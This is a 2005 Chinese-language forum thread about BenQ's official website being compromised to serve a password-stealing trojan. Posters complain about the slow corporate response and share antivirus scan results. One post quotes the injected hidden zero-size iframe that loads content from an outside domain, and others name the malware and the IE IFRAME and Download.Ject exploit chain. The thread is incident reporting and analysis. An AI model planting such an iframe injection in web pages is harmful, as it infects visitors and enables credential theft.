|
||
|
*停權中*
加入日期: Sep 2001 您的住址: 台北 , 台灣
文章: 971
|
UPDATE NEWS = ="
BenQ 中控室說無法處理.. 也不會關閉網站.. 要等明天有人上班在處理.. = = 感覺就像知道失火. 就讓他繼續燒一樣. = = 本想打給東森.. 但東森網站上已經有人留言了.. 打電話給東森..想說能不能用快報通知大家不要上明碁網站. 但電話轉轉轉..轉斷掉了.. = = 後想想說 見死不救也有點怪怪的..畢竟是木馬.會竊取無辜使用者資料造成損失的.. 就查了一下IP.是在Hinet.. 電話又轉轉轉.. 轉到IDC.. 曉以大義後..請Hinet直接電話連絡明碁技術聯絡人處理.. 這樣算要告知到[應該告知的人]了吧.. 如果這樣還能拖到明天的話.. 表示這公司文化也是很迂腐的.他做的東西你敢買嗎.. = =凸 PS.感謝Google大神及VisualRoute 8.0a 提供資訊 .. XD 另外唾棄新注音還要讓我重新改一堆錯字.. = = 此文章於 2005-02-27 09:56 PM 被 sean1976 編輯. |
|||||||
2005-02-27, 09:53 PM
#31
|
|
|
Major Member
 
加入日期: Dec 2001
文章: 164
|
呼~~剛剛才把電腦重灌好,想不到有這麼多網兄捨命幫忙測試!
sean1976兄真是熱心公益,堪稱好人幫代表!!! BenQ最近有辦了個買LCD上網註冊,抽LCD TV的贈獎活動, 相信一定有很多人上網註冊的,現在官網被下了木馬,BenQ的人員還 一付事不關己的樣子,要是顧客的個人資料因此而外洩,看BenQ要如何 收拾這爛攤子... 
__________________
|
||
|
2005-02-27, 10:21 PM
#32
|
|
|
Power Member
加入日期: Jul 2004
文章: 595
|
<iframe width=0 height=0 src=http://www.szadk.com/***.htm></iframe>
老漏洞了..- - 真的被駭放這種..Orz -- 一個漏洞+一個Trojan-PSW.Win32.Lineage.b最新變種(見圖) kav病毒資料庫已可檢測，但網站上仍是Trojan-PSW.Win32.Lineage.bi而已 .bi是昨天發現的.. (等等試試看提取病毒文件  )此文章於 2005-02-27 10:53 PM 被 剛接觸的新手 編輯. |
|
2005-02-27, 10:38 PM
#33
|
|
|
Power Member
加入日期: Jul 2004
文章: 595
|
利用的漏洞是舊的，不過不算太舊
一些安全觀念較弱的使用者可能還是會中 而木馬本身卻是最新的..  (多了一個樣本嚕)(附上樣本檔，如果版主認為不妥，煩請刪除  )-- AntiVir 6.29.0.16 02.25.2005 no virus found AVG 718 02.25.2005 no virus found BitDefender 7.0 02.27.2005 no virus found ClamAV devel-20050130 02.27.2005 no virus found DrWeb 4.32b 02.27.2005 Trojan.PWS.Lineage eTrust-Iris 7.1.194.0 02.27.2005 no virus found eTrust-Vet 11.7.0.0 02.25.2005 no virus found Fortinet 2.51 02.26.2005 no virus found F-Prot 3.16a 02.24.2005 no virus found Ikarus 2.32 02.25.2005 no virus found Kaspersky 4.0.2.24 02.27.2005 Trojan-PSW.Win32.Lineage.bj NOD32v2 1.1010 02.27.2005 probably unknown NewHeur_PE virus Norman 5.70.10 02.25.2005 no virus found Panda 8.02.00 02.27.2005 no virus found Sybari 7.5.1314 02.27.2005 PWS-Lineage Symantec 8.0 02.26.2005 no virus found 此文章於 2005-02-27 11:27 PM 被 剛接觸的新手 編輯. |
|
2005-02-27, 10:59 PM
#34
|
|
|
Power Member
加入日期: Jul 2004
文章: 595
|
下載區似乎只有.exe的執行檔有毒
其餘zip封裝的目前隨機抽樣10種還沒發現，不敢保證 (附上圖片、樣本) ps.不好意思，職業病又犯了XD..佔版面請見諒  -- 各防毒軟體命名: Worm.Win32.Viking.a Aliases Worm.Win32.Viking.a (Kaspersky Lab) is also known as: W32/Generic.Delphi.b (McAfee), W32.Looked.B (Symantec), Win32.HLLW.Viking (Doctor Web), W32/LegMir-Z (Sophos), PE_LOOKED.B (Trend Micro), PSW.Lineage.R (Grisoft), Win32.Worm.Viking.A (SOFTWIN), Trj/Lineage.L (Panda), Win32/Viking.A (Eset) Detection added Feb 08 2005 Behavior Internet Worm -- 線上virus檢測: AntiVir 6.29.0.16 02.25.2005 no virus found AVG 718 02.25.2005 Worm/Delf.2.S BitDefender 7.0 02.27.2005 BehavesLike:Win32.FileInfector ClamAV devel-20050130 02.27.2005 no virus found DrWeb 4.32b 02.27.2005 Win32.HLLW.Viking eTrust-Iris 7.1.194.0 02.27.2005 no virus found eTrust-Vet 11.7.0.0 02.25.2005 no virus found Fortinet 2.51 02.26.2005 no virus found F-Prot 3.16a 02.24.2005 no virus found Ikarus 2.32 02.25.2005 no virus found Kaspersky 4.0.2.24 02.27.2005 Worm.Win32.Viking.a NOD32v2 1.1010 02.27.2005 Win32/Viking.A Norman 5.70.10 02.25.2005 no virus found Panda 8.02.00 02.27.2005 Trj/Lineage.L Sybari 7.5.1314 02.27.2005 W32/LegMir-Z Symantec 8.0 02.26.2005 no virus found -- kav8號就發現的病毒居然這麼多防毒軟體還檢測不出，上面表格是no virus found 的可以丟去垃圾桶囉..  此文章於 2005-02-27 11:22 PM 被 剛接觸的新手 編輯. |
|
2005-02-27, 11:14 PM
#35
|
|
|
*停權中*
加入日期: Sep 2001 您的住址: 台北 , 台灣
文章: 971
|
放棄了.. 已經過了那麼久.那個木馬還是在.
想必連接到電話的benQ技術聯絡人可能也是抱著上班在處理的心態吧.. 真是讓人唾棄.. 台階都幫你架好了還不會下..該不會明天才說[今天一發現就馬上處理]的這種話吧.. = = PS.我不敢說是好人..只是體認做壞事會有報應. 所以也不敢就這樣見死不救看看就算了.. 加上覺得大公司應該有大公司的作為..不甘願他們這樣瞞混搪塞過去.. 所以罪惡感加上肚爛感驅使我這樣做的...XD 此文章於 2005-02-28 12:41 AM 被 sean1976 編輯. |
|
2005-02-28, 12:36 AM
#36
|
|
|
Major Member
加入日期: Nov 2001
文章: 298
|
好奇的是... 不能直接先砍掉那行 <iframe..... </iframe> 作為緊急處置嗎？
此文章於 2005-02-28 01:35 AM 被 AdaHsu 編輯. |
|
2005-02-28, 01:33 AM
#37
|
|
|
*停權中*
加入日期: Jan 2001 您的住址: 講到淹水你會想到哪裡？
文章: 1,829
|
我之前上D-Link的網站，好像也會出問題，
現在面前這台電腦沒裝賣/卡防毒軟體，有誰可以去證實一下嗎？ |
|
2005-02-28, 01:45 AM
#38
|
|
|
Elite Member
  加入日期: Oct 2002
文章: 4,803
|
去年的入侵作法是先走Download.Ject漏洞入侵IIS伺服器
藉此種下病毒種子 再搭配IE的IFRAME漏洞感染用戶端 印象中 青雲官網, GAMEBASE, OC等在去年就有過類似事件 MS也在去年出了PATCH防堵 沒想到現在還有... 也有可能是新的入侵手法吧 ^_^ 不過這個不是隨便一個人就能管及知道怎做的 一定要找到有更動伺服器架構權限的人才行
__________________
人性的醜陋就是，會在無權、無勢、善良的人身上挑毛病，卻在有權、有勢、缺德的人身上找優點。當無權、無勢、善良的人受到傷害的時候，還會站在所謂的道德制高點上，假惺惺地勸說無權、無勢、善良的人，一定要忍耐，一定要大度。 此文章於 2005-02-28 01:48 AM 被 u8526425 編輯. |
|
2005-02-28, 01:46 AM
#39
|
|
|
*停權中*
加入日期: Sep 2001 您的住址: 台北 , 台灣
文章: 971
|
引用:
不行...因為主機放在Hinet IDC.. 能管理網站的人[放假中]..就這麼簡單.. |
|
|
2005-02-28, 02:07 AM
#40
|
|
